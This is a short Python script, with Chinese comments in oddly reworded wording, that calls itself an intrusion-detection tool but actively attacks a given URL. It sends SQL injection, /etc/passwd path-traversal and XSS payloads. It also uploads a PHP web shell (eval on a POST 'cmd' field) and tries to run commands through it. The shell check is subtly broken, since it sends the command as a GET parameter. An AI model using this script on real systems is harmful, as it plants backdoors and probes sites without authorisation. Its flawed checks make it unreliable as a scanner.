Python编写的基于漏洞检测的入侵检测

import requests

# 检查系统会不会存在SQL注入漏洞
def check_sql_injection(url):
    # 构造歹意的SQL查询字符串
    payload = "1' and 1=1;--"
    try:
        # 发送歹意查询字符串，并检查响应内容会不会包括'error'关键字
        res = requests.get(url + "?id=" + payload)
        if 'error' in res.text:
            print("存在SQL注入漏洞：", url)
    except:
        pass

# 检查系统会不会存在文件包括漏洞
def check_file_inclusion(url):
    # 构造歹意的文件包括字符串
    payload = "../../../etc/passwd"
    try:
        # 发送歹意字符串，并检查响应内容会不会包括root关键字
        res = requests.get(url + "?page=" + payload)
        if 'root' in res.text:
            print("存在文件包括漏洞：", url)
    except:
        pass

# 检查系统会不会存在文件上传漏洞
def check_file_upload(url):
    # 构造歹意的上传文件
    files = {"file": ("shell.php", "<?php eval($_POST['cmd']); ?>")}
    try:
        # 上传歹意文件，并尝试履行shell命令
        res = requests.post(url, files=files)
        shell_url = url + "/uploads/shell.php"
        res = requests.get(shell_url, params={"cmd": "echo 'test';"})
        if 'test' in res.text:
            print("存在文件上传漏洞：", url)
    except:
        pass

# 检查系统会不会存在XSS跨站脚本漏洞
def check_xss(url):
    # 构造歹意的XSS脚本
    payload = "<script>alert('pidancode.com');</script>"
    try:
        # 发送歹意脚本，并检查响应内容会不会包括脚本内容
        res = requests.get(url + "?name=" + payload)
        if '<script>alert(' in res.text:
            print("存在XSS漏洞：", url)
    except:
        pass

# 测试漏洞检测函数
if __name__ == "__main__":
    test_url = "http://pidancode.com"
    check_sql_injection(test_url)
    check_file_inclusion(test_url)
    check_file_upload(test_url)
    check_xss(test_url)